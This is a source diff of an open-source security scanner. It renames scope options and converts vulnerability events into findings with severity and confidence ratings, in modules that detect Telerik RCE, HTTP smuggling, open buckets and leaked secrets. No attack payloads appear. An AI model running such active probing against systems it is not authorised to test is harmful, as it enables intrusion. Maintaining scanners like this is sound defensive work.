str(event.host), + "description": description, + "url": url, + "name": "Reflected Parameter", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + } await self.emit_event(data, "FINDING", event) async def detect_reflection(self, event, url): @@ -56,17 +63,18 @@ async def send_probe_with_canary(self, event, parameter_name, parameter_value, c data = None json_data = None params = {parameter_name: parameter_value, "c4n4ry": canary_value} + param_type = event.data["type"] - if event.data["type"] == "GETPARAM": + if param_type == "GETPARAM": url = f"{url}?{parameter_name}={parameter_value}&c4n4ry={canary_value}" - elif event.data["type"] == "COOKIE": + elif param_type == "COOKIE": cookies.update(params) - elif event.data["type"] == "HEADER": + elif param_type == "HEADER": headers.update(params) - elif event.data["type"] == "POSTPARAM": + elif param_type == "POSTPARAM": method = "POST" data = params - elif event.data["type"] == "BODYJSON": + elif param_type == "BODYJSON": method = "POST" json_data = params diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index 27e8fec407..e7c3da3a9f 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -183,8 +183,10 @@ async def handle_event(self, event): description_parts.append(f"Affected versions: [>= {at_or_above}]") description = " ".join(description_parts) data = { + "name": "Vulnerable JavaScript Library", "description": description, "severity": severity, + "confidence": "HIGH", "component": component, "url": event.parent.data["url"], } diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 4a3e2b214a..142ede3157 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -40,7 +40,7 @@ class shodan_idb(BaseModule): """ watched_events = ["IP_ADDRESS", "DNS_NAME"] - produced_events = ["TECHNOLOGY", "VULNERABILITY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] + produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] flags = ["passive", "safe", "portscan", "subdomain-enum"] meta = { "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities", @@ -143,7 +143,14 @@ async def _parse_response(self, data: dict, event, ip): if vulns: vulns_str = ", ".join([str(v) for v in vulns]) await self.emit_event( - {"description": f"Shodan reported possible vulnerabilities: {vulns_str}", "host": str(event.host)}, + { + "description": f"Shodan reported possible vulnerabilities: {vulns_str}", + "host": str(event.host), + "cves": vulns, + "name": "Shodan - Possible Vulnerabilities", + "severity": "MEDIUM", + "confidence": "LOW", + }, "FINDING", parent=event, context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}', diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index 357fec1885..67fcdd3d53 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -40,7 +40,14 @@ async def handle_event(self, event): text = f.split(":")[1].split("-")[0].strip() description = f"[HTTP SMUGGLER] [{text}] Technique: {technique}" await self.emit_event( - {"host": str(event.host), "url": event.data, "description": description}, + { + "host": str(event.host), + "url": event.data, + "description": description, + "name": "Possible HTTP Smuggling", + "severity": "MEDIUM", + "confidence": "LOW", + }, "FINDING", parent=event, context=f"{{module}} scanned {event.data} and found HTTP smuggling ({{event.type}}): {text}", diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 3cd0c8eed9..94d10f426c 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -20,7 +20,7 @@ class telerik(BaseModule): """ watched_events = ["URL", "HTTP_RESPONSE"] - produced_events = ["VULNERABILITY", "FINDING"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "web-thorough"] meta = { "description": "Scan for critical Telerik vulnerabilities", @@ -242,7 +242,14 @@ async def handle_event(self, event): description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{webresource}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{webresource}", + "description": description, + "name": "Telerik Handler", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + }, "FINDING", event, context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler", @@ -269,17 +276,19 @@ async def handle_event(self, event): command.append(self.scan.http_proxy) output = await self.run_process(command) - description = f"[CVE-2017-11317] [{str(version)}] {webresource}" + description = f"Confirmed Vulnerable Telerik (version: {str(version)})" if "fileInfo" in output.stdout: self.debug(f"Confirmed Vulnerable Telerik (version: {str(version)}") await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, "host": str(event.host), "url": f"{base_url}{webresource}", + "name": "Telerik RCE", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {base_url} and identified critical {{event.type}}: {description}", ) @@ -307,7 +316,14 @@ async def handle_event(self, event): self.debug(f"Detected Telerik UI instance ({dh})") description = "Telerik DialogHandler detected" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{dh}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{dh}", + "description": description, + "name": "Telerik Handler", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", + }, "FINDING", event, ) @@ -331,6 +347,9 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{spellcheckhandler}", "description": description, + "name": "Telerik Handler", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -350,6 +369,9 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{chartimagehandler}", "description": "Telerik ChartImage AXD Handler Detected", + "name": "Telerik Handler", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -366,6 +388,9 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", + "name": "Telerik Handler", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -377,6 +402,9 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", + "name": "Telerik AsyncUpload", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index d5fdd2d3f9..be612aa3dc 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -76,7 +76,14 @@ async def handle_storage_bucket(self, event): if self.supports_open_check: description, tags = await self._check_bucket_open(bucket_name, url) if description: - event_data = {"host": event.host, "url": url, "description": description} + event_data = { + "host": event.host, + "url": url, + "description": description, + "name": "Open Storage Bucket", + "severity": "LOW", + "confidence": "HIGH", + } await self.emit_event( event_data, "FINDING", diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 39b4e6f00e..ef12ef7bf7 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -1,9 +1,10 @@ +import asyncio from contextlib import suppress from sqlmodel import SQLModel from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession -from bbot.db.sql.models import Event, Scan, Target +from bbot.models.sql import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule @@ -15,6 +16,7 @@ class SQLTemplate(BaseOutputModule): "password": "", "host": "127.0.0.1", "port": 0, + "retries": 10, } options_desc = { "database": "The database to use", @@ -22,6 +24,7 @@ class SQLTemplate(BaseOutputModule): "password": "The password to use to connect to the database", "host": "The host to use to connect to the database", "port": "The port to use to connect to the database", + "retries": "Number of times to retry connecting to the database (1 second between retries)", } protocol = "" @@ -32,9 +35,26 @@ async def setup(self): self.password = self.config.get("password", "") self.host = self.config.get("host", "127.0.0.1") self.port = self.config.get("port", 0) - - await self.init_database() - return True + retries = self.config.get("retries", 10) + + connection_string = self.connection_string(mask_password=True) + last_error = None + max_attempts = retries + 1 + for attempt in range(max_attempts): + try: + self.verbose(f"Connecting to {connection_string} (attempt {attempt + 1}/{max_attempts})") + await self.init_database() + self.verbose(f"Successfully connected to {connection_string}") + return True + except Exception as e: + last_error = e + if attempt < retries: + self.verbose( + f"Failed to connect to {connection_string} (attempt {attempt + 1}/{max_attempts}): {e}" + ) + await asyncio.sleep(1) + + return False, f"Failed to reach {connection_string} after {max_attempts} attempts: {last_error}" async def handle_event(self, event): event_obj = Event(**event.json()).validated diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index a65d08f315..49ae38b14c 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -168,8 +168,8 @@ async def filter_event(self, event): is_cloud = False if any(t.startswith("cloud-") for t in event.tags): is_cloud = True - # reject if it's a cloud resource and not in our target - if is_cloud and event not in self.scan.target.whitelist: + # reject if it's a cloud resource and not in our target (unless it's a seed event) + if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags: return False, "Event is a cloud resource and not a direct target" # optionally reject events with wildcards / errors if self.reject_wildcards: diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 79dc11750d..d5a44794f3 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -11,7 +11,8 @@ class WebhookOutputModule(BaseOutputModule): accept_dupes = False message_size_limit = 2000 content_key = "content" - vuln_severities = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CRITICAL"] + severities = ["INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"] + confidences = ["UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED"] # abort module after 10 failed requests (not including retries) _api_failure_abort_threshold = 10 @@ -21,10 +22,10 @@ class WebhookOutputModule(BaseOutputModule): async def setup(self): self.webhook_url = self.config.get("webhook_url", "") self.min_severity = self.config.get("min_severity", "LOW").strip().upper() - assert self.min_severity in self.vuln_severities, ( - f"min_severity must be one of the following: {','.join(self.vuln_severities)}" + assert self.min_severity in self.severities, ( + f"min_severity must be one of the following: {','.join(self.severities)}" ) - self.allowed_severities = self.vuln_severities[self.vuln_severities.index(self.min_severity) :] + self.allowed_severities = self.severities[self.severities.index(self.min_severity) :] if not self.webhook_url: self.warning("Must set Webhook URL") return False @@ -45,15 +46,15 @@ async def handle_event(self, event): def get_watched_events(self): if self._watched_events is None: - event_types = self.config.get("event_types", ["VULNERABILITY"]) + event_types = self.config.get("event_types", ["FINDING"]) if isinstance(event_types, str): event_types = [event_types] self._watched_events = set(event_types) return self._watched_events async def filter_event(self, event): - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "UNKNOWN") + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") if severity not in self.allowed_severities: return False, f"{severity} is below min_severity threshold" return True @@ -65,17 +66,20 @@ def format_message_str(self, event): def format_message_other(self, event): event_yaml = yaml.dump(event.data) event_type = f"**`[{event.type}]`**" - if event.type in ("VULNERABILITY", "FINDING"): - event_str, color = self.get_severity_color(event) - event_type = f"{color} {event_str} {color}" + if event.type == "FINDING": + event_str, severity_color, confidence_color = self.get_colors(event) + event_type = f"{severity_color} {confidence_color} {event_str}" return f"""**`{event_type}`**\n```yaml\n{event_yaml}```""" - def get_severity_color(self, event): - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "UNKNOWN") - return f"{event.type} ({severity})", event.severity_colors[severity] + def get_colors(self, event): + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") + confidence = event.data.get("confidence", "UNKNOWN") + severity_color = event.severity_colors.get(severity, "⬜") + confidence_color = event.confidence_colors.get(confidence, "⚪") + return f"{event.type} (Severity: {severity} / Confidence: {confidence})", severity_color, confidence_color else: - return event.type, "🟦" + return event.type, "🟦", "" def format_message(self, event): if isinstance(event.data, str): diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 27347fa6ba..9dc0161ff4 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -5,7 +5,7 @@ class trufflehog(BaseModule): watched_events = ["CODE_REPOSITORY", "FILESYSTEM", "HTTP_RESPONSE", "RAW_TEXT"] - produced_events = ["FINDING", "VULNERABILITY"] + produced_events = ["FINDING"] flags = ["passive", "safe", "code-enum"] meta = { "description": "TruffleHog is a tool for finding credentials", @@ -123,14 +123,16 @@ async def handle_event(self, event): source_metadata, ) in self.execute_trufflehog(module, path): verified_str = "Verified" if verified else "Possible" - finding_type = "VULNERABILITY" if verified else "FINDING" + confidence = "CONFIRMED" if verified else "MODERATE" data = { + "name": f"TruffleHog - {detector_name}", "description": f"{verified_str} Secret Found. Detector Type: [{detector_name}] Decoder Type: [{decoder_name}] Details: [{source_metadata}]", } if host: data["host"] = host - if finding_type == "VULNERABILITY": - data["severity"] = "High" + + data["severity"] = "HIGH" + data["confidence"] = confidence if description: data["description"] += f" Description: [{description}]" data["description"] += f" Raw result: [{raw_result}]" @@ -138,7 +140,7 @@ async def handle_event(self, event): data["description"] += f" RawV2 result: [{rawv2_result}]" await self.emit_event( data, - finding_type, + "FINDING", event, context=f'{{module}} searched {event.type} using "{module}" method and found {verified_str.lower()} secret ({{event.type}}): {raw_result}', ) diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index c36b7c39d5..ee73a3ee6a 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -77,9 +77,16 @@ async def handle_event(self, event): if str(subject_response.status_code).startswith("2"): if "body" in reasons: reported_signature = f"Modified URL: {sig[1]}" - description = f"Url Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]" + description = f"URL Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]" await self.emit_event( - {"description": description, "host": str(event.host), "url": event.data}, + { + "description": description, + "host": str(event.host), + "url": event.data, + "name": "URL Manipulation", + "severity": "INFORMATIONAL", + "confidence": "LOW", + }, "FINDING", parent=event, context=f"{{module}} probed {event.data} and identified {{event.type}}: {description}", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 4f1a63a1b5..0bb6f112a1 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -4,7 +4,7 @@ class wpscan(BaseModule): watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"] - produced_events = ["URL_UNVERIFIED", "FINDING", "VULNERABILITY", "TECHNOLOGY"] + produced_events = ["URL_UNVERIFIED", "FINDING", "TECHNOLOGY"] flags = ["active", "aggressive"] meta = { "description": "Wordpress security scanner. Highly recommended to use an API key for better results.", @@ -174,7 +174,14 @@ def parse_wp_misc(self, interesting_json, base_url, source_event): if url_event: yield url_event yield self.make_event( - {"description": description_string, "url": url, "host": str(source_event.host)}, + { + "description": description_string, + "url": url, + "host": str(source_event.host), + "name": "WPScan - Possible Vulnerability", + "severity": "INFORMATIONAL", + "confidence": "MODERATE", + }, "FINDING", source_event, ) @@ -194,11 +201,13 @@ def parse_wp_version(self, version_json, url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(wp_vuln), + "name": "WPScan - Possible Vulnerability", }, - "VULNERABILITY", + "FINDING", source_event, ) @@ -219,11 +228,13 @@ def parse_wp_themes(self, theme_json, url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(theme_vuln), + "name": "WPScan - Possible Vulnerability", }, - "VULNERABILITY", + "FINDING", source_event, ) @@ -248,11 +259,13 @@ def parse_wp_plugins(self, plugins_json, base_url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(vuln), + "name": "WPScan - Possible Vulnerability", }, - "VULNERABILITY", + "FINDING", source_event, ) diff --git a/bbot/scanner/dispatcher.py b/bbot/scanner/dispatcher.py index a9c56c2b72..efd3270903 100644 --- a/bbot/scanner/dispatcher.py +++ b/bbot/scanner/dispatcher.py @@ -1,7 +1,6 @@ import logging import traceback - -log = logging.getLogger("bbot.scanner.dispatcher") +import contextlib class Dispatcher: @@ -11,6 +10,7 @@ class Dispatcher: def set_scan(self, scan): self.scan = scan + self.log = logging.getLogger("bbot.scanner.dispatcher") async def on_start(self, scan): return @@ -24,9 +24,10 @@ async def on_status(self, status, scan_id): """ self.scan.debug(f"Setting scan status to {status}") - async def catch(self, callback, *args, **kwargs): + @contextlib.contextmanager + def catch(self): try: - return await callback(*args, **kwargs) + yield except Exception as e: - log.error(f"Error in {callback.__qualname__}(): {e}") - log.trace(traceback.format_exc()) + self.log.error(f"Error in dispatcher: {e}") + self.log.trace(traceback.format_exc()) diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index 14b117ddce..04cfc9e2b2 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -48,8 +48,8 @@ async def init_events(self, event_seeds=None): event_seeds = sorted(event_seeds, key=lambda e: (host_size_key(str(e.host)), e.data)) # queue root scan event await self.queue_event(root_event, {}) - target_module = self.scan._make_dummy_module(name="TARGET", _type="TARGET") - # queue each target in turn + target_module = self.scan._make_dummy_module(name="SEED", _type="SEED") + # queue each seed in turn for event_seed in event_seeds: event = self.scan.make_event( event_seed.data, @@ -57,9 +57,12 @@ async def init_events(self, event_seeds=None): parent=root_event, module=target_module, context=f"Scan {self.scan.name} seeded with " + "{event.type}: {event.data}", - tags=["target"], + tags=["seed"], ) - self.verbose(f"Target: {event}") + # If the seed is also in the target scope, add the target tag + if self.scan.in_target(event): + event.add_tag("target") + self.verbose(f"Seed: {event}") # don't fill up the queue with too many events while self.incoming_event_queue.qsize() > 100: await asyncio.sleep(0.2) @@ -113,9 +116,9 @@ async def handle_event(self, event, **kwargs): # Scope shepherding # here is where we make sure in-scope events are set to their proper scope distance + if event.host: - event_whitelisted = self.scan.whitelisted(event) - if event_whitelisted: + if self.scan.in_target(event): self.debug(f"Making {event} in-scope because its main host matches the scan target") event.scope_distance = 0 diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index b8aabdae67..87cd892626 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -105,9 +105,12 @@ def parsed(self): def preset_from_args(self): # the order here is important # first we make the preset + # -t/--targets becomes target (defines target, what in_target() checks) + # -s/--seeds becomes seeds (drives passive modules), defaults to targets if not specified + seeds = self.parsed.seeds if self.parsed.seeds is not None else self.parsed.targets args_preset = self.preset.__class__( - *self.parsed.targets, - whitelist=self.parsed.whitelist, + *(self.parsed.targets or []), + seeds=seeds if seeds else None, blacklist=self.parsed.blacklist, name="args_preset", ) @@ -225,21 +228,19 @@ def create_parser(self, *args, **kwargs): p = argparse.ArgumentParser(*args, **kwargs) target = p.add_argument_group(title="Target") + target.add_argument("-t", "--targets", nargs="+", default=[], help="Target scope", metavar="TARGET") target.add_argument( - "-t", "--targets", nargs="+", default=[], help="Targets to seed the scan", metavar="TARGET" - ) - target.add_argument( - "-w", - "--whitelist", + "-s", + "--seeds", nargs="+", default=None, - help="What's considered in-scope (by default it's the same as --targets)", + help="Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets)", ) target.add_argument("-b", "--blacklist", nargs="+", default=[], help="Don't touch these things") target.add_argument( "--strict-scope", action="store_true", - help="Don't consider subdomains of target/whitelist to be in-scope", + help="Don't consider subdomains of target to be in-scope - exact matches only", ) presets = p.add_argument_group(title="Presets") presets.add_argument( @@ -307,7 +308,7 @@ def create_parser(self, *args, **kwargs): scan.add_argument("-n", "--name", help="Name of scan (default: random)", metavar="SCAN_NAME") scan.add_argument("-v", "--verbose", action="store_true", help="Be more verbose") scan.add_argument("-d", "--debug", action="store_true", help="Enable debugging") - scan.add_argument("-s", "--silent", action="store_true", help="Be quiet") + scan.add_argument("-S", "--silent", action="store_true", help="Be quiet") scan.add_argument( "--force", action="store_true", @@ -412,9 +413,9 @@ def sanitize_args(self): self.parsed.targets = chain_lists( self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}" ) - if self.parsed.whitelist is not None: - self.parsed.whitelist = chain_lists( - self.parsed.whitelist, try_files=True, msg="Reading whitelist from file: {filename}" + if self.parsed.seeds is not None: + self.parsed.seeds = chain_lists( + self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}" ) self.parsed.blacklist = chain_lists( self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}" diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 8ec56a1a65..03478559c3 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -76,8 +76,8 @@ class Preset(metaclass=BasePreset): Based on the state of the preset, you can print a warning message, abort the scan, enable/disable modules, etc.. Attributes: - target (Target): Target(s) of scan. - whitelist (Target): Scan whitelist (by default this is the same as `target`). + target (BBOTTarget): The scan target object containing seeds, target, and blacklist. + Use `target.target` to access what's in the target (what `in_target()` checks). blacklist (Target): Scan blacklist (this takes ultimate precedence). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. output_dir (pathlib.Path): Output directory for scan. @@ -115,8 +115,8 @@ class Preset(metaclass=BasePreset): def __init__( self, - *targets, - whitelist=None, + *target, + seeds=None, blacklist=None, modules=None, output_modules=None, @@ -142,8 +142,11 @@ def __init__( Initializes the Preset class. Args: - *targets (str): Target(s) to scan. Types supported: hostnames, IPs, CIDRs, emails, open ports. - whitelist (list, optional): Whitelisted target(s) to scan. Defaults to the same as `targets`. + *target (str): Target(s) to scan. These ALWAYS become the target (what `in_target()` checks). + Types supported: hostnames, IPs, CIDRs, emails, open ports. + Note: Positional arguments always mean target, never seeds. + seeds (list, optional): Explicitly define seeds (initial events for passive modules). + If not specified, seeds will be backfilled from target when target is defined. blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty. modules (list[str], optional): List of scan modules to enable for the scan. Defaults to empty list. output_modules (list[str], optional): List of output modules to use. Defaults to csv, human, and json. @@ -231,7 +234,7 @@ def __init__( # preset description, default blank self.description = description or "" - # custom conditions, evaluated during .bake() + # custom conditions, evaluated during Scanner._prep() self.conditions = [] if conditions is not None: for condition in conditions: @@ -260,12 +263,17 @@ def __init__( self._module_dirs = set() self.module_dirs = module_dirs - # target / whitelist / blacklist + # target / seeds / blacklist # these are temporary receptacles until they all get .baked() together - self._seeds = set(targets if targets else []) - self._whitelist = set(whitelist) if whitelist else whitelist + self._target_list = set(target or []) self._blacklist = set(blacklist if blacklist else []) + # seeds are special. Instead of initializing them as an empty set, we use "None" + # to signify they haven't been explicitly set. + # after all the merging is done, if seeds are still untouched by the user + # (i.e. they are still None), we'll know it's okay to copy them from the targets. + self._seeds = set(seeds) if seeds else None + # _target doesn't get set until .bake() self._target = None # we don't fill self.modules yet (that happens in .bake()) @@ -282,26 +290,18 @@ def bbot_home(self): @property def target(self): - if self._target is None: - raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self._target @property def seeds(self): - if self._seeds is None: - raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") - return self.target.seeds - - @property - def whitelist(self): if self._target is None: - raise ValueError("Cannot access whitelist before preset is baked (use ._whitelist instead)") - return self.target.whitelist + return None + return self.target.seeds @property def blacklist(self): if self._target is None: - raise ValueError("Cannot access blacklist before preset is baked (use ._blacklist instead)") + return None return self.target.blacklist @property @@ -364,13 +364,12 @@ def merge(self, other): self.flags.update(other.flags) # target / scope - self._seeds.update(other._seeds) - # leave whitelist as None until we encounter one - if other._whitelist is not None: - if self._whitelist is None: - self._whitelist = set(other._whitelist) + self._target_list.update(other._target_list) + if other._seeds is not None: + if self._seeds is None: + self._seeds = set(other._seeds) else: - self._whitelist.update(other._whitelist) + self._seeds.update(other._seeds) self._blacklist.update(other._blacklist) # module dirs @@ -398,13 +397,14 @@ def merge(self, other): if other._args is not None: self._args = other._args - async def bake(self, scan=None): + def bake(self, scan=None): """ Return a "baked" copy of this preset, ready for use by a BBOT scan. + Presets can be merged and modified before baking, but once baked, they are immutable. + Baking a preset finalizes it by populating `preset.modules` based on flags, performing final validations, and substituting environment variables in preloaded modules. - It also evaluates custom `conditions` as specified in the preset. This function is automatically called in Scanner.__init__(). There is no need to call it manually. """ @@ -429,9 +429,6 @@ async def bake(self, scan=None): os.environ.clear() os.environ.update(os_environ) - # assign baked preset to our scan - scan.preset = baked_preset - # validate log level options baked_preset.apply_log_level(apply_core=scan is not None) @@ -483,23 +480,12 @@ async def bake(self, scan=None): from bbot.scanner.target import BBOTTarget baked_preset._target = BBOTTarget( - *list(self._seeds), - whitelist=self._whitelist, + seeds=list(self._seeds) if self._seeds else None, + target=list(self._target_list), blacklist=self._blacklist, - strict_scope=self.strict_scope, + strict_dns_scope=self.strict_scope, ) - # generate children, if necessary for the target type, before processing - await baked_preset.target.generate_children(baked_preset.helpers) - - if scan is not None: - # evaluate conditions - if baked_preset.conditions: - from .conditions import ConditionEvaluator - - evaluator = ConditionEvaluator(baked_preset) - evaluator.evaluate() - self._baked = True return baked_preset @@ -661,8 +647,8 @@ def in_scope(self, host): def blacklisted(self, host): return self.target.blacklisted(host) - def whitelisted(self, host): - return self.target.whitelisted(host) + def in_target(self, host): + return self.target.in_target(host) @classmethod def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): @@ -681,9 +667,14 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ + # Handle seeds and targets from dict + # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. + target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) + targets = list(dict.fromkeys(target_vals)) + seeds = preset_dict.get("seeds") new_preset = cls( - *preset_dict.get("target", []), - whitelist=preset_dict.get("whitelist"), + *targets, + seeds=seeds, blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), output_modules=preset_dict.get("output_modules"), @@ -783,7 +774,7 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) Convert this preset into a Python dictionary. Args: - include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary + include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults. Returns: @@ -812,15 +803,15 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) # scope if include_target: - target = sorted(self.target.seeds.inputs) - whitelist = [] - if self.target.whitelist is not None: - whitelist = sorted(self.target.whitelist.inputs) + target = sorted(self.target.target.inputs) + seeds = [] + if self.target.seeds is not None: + seeds = sorted(self.target.seeds.inputs) blacklist = sorted(self.target.blacklist.inputs) if target: preset_dict["target"] = target - if whitelist and whitelist != target: - preset_dict["whitelist"] = whitelist + if seeds and seeds != target: + preset_dict["seeds"] = seeds if blacklist: preset_dict["blacklist"] = blacklist @@ -850,7 +841,7 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) if self.scan_name: preset_dict["scan_name"] = self.scan_name if self.scan_name and self.output_dir is not None: - preset_dict["output_dir"] = self.output_dir + preset_dict["output_dir"] = str(self.output_dir) # conditions if self.conditions: @@ -863,7 +854,7 @@ def to_yaml(self, include_target=False, full_config=False, sort_keys=False): Return the preset in the form of a YAML string. Args: - include_target (bool, optional): If True, include target, whitelist, and blacklist in the dictionary + include_target (bool, optional): If True, include seeds, target, and blacklist in the dictionary full_config (bool, optional): If True, include the entire config, not just what's changed from the defaults. sort_keys (bool, optional): If True, sort YAML keys alphabetically @@ -1013,7 +1004,7 @@ def presets_table(self, include_modules=True): header.append("Modules") for loaded_preset, category, preset_path, original_file in self.all_presets.values(): # Use explicit_scan_modules which contains the raw modules from YAML - # This avoids needing to call the async bake() method + # This avoids needing to call bake() explicit_modules = loaded_preset.explicit_scan_modules num_modules = f"{len(explicit_modules):,}" row = [loaded_preset.name, category, loaded_preset.description, num_modules] diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b1149fe74a..56c7d7a8cf 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -7,6 +7,7 @@ from pathlib import Path from sys import exc_info from datetime import datetime +from zoneinfo import ZoneInfo from collections import OrderedDict from bbot import __version__ @@ -18,6 +19,18 @@ from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen from bbot.errors import BBOTError, ScanError, ValidationError +from bbot.constants import ( + get_scan_status_code, + get_scan_status_name, + SCAN_STATUS_NOT_STARTED, + SCAN_STATUS_STARTING, + SCAN_STATUS_RUNNING, + SCAN_STATUS_FINISHING, + SCAN_STATUS_ABORTING, + SCAN_STATUS_ABORTED, + SCAN_STATUS_FAILED, + SCAN_STATUS_FINISHED, +) log = logging.getLogger("bbot.scanner") @@ -54,7 +67,6 @@ class Scanner: - "STARTING" (1): Status when the scan is initializing. - "RUNNING" (2): Status when the scan is in progress. - "FINISHING" (3): Status when the scan is in the process of finalizing. - - "CLEANING_UP" (4): Status when the scan is cleaning up resources. - "ABORTING" (5): Status when the scan is in the process of being aborted. - "ABORTED" (6): Status when the scan has been aborted. - "FAILED" (7): Status when the scan has encountered a failure. @@ -64,7 +76,7 @@ class Scanner: target (Target): Target of scan (alias to `self.preset.target`). preset (Preset): The main scan Preset in its baked form. config (omegaconf.dictconfig.DictConfig): BBOT config (alias to `self.preset.config`). - whitelist (Target): Scan whitelist (by default this is the same as `target`) (alias to `self.preset.whitelist`). + seeds (Target): Scan seeds (by default this is the same as `target`) (alias to `self.preset.seeds`). blacklist (Target): Scan blacklist (this takes ultimate precedence) (alias to `self.preset.blacklist`). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. (alias to `self.preset.helpers`). output_dir (pathlib.Path): Output directory for scan (alias to `self.preset.output_dir`). @@ -84,18 +96,6 @@ class Scanner: - Setting a status will trigger the 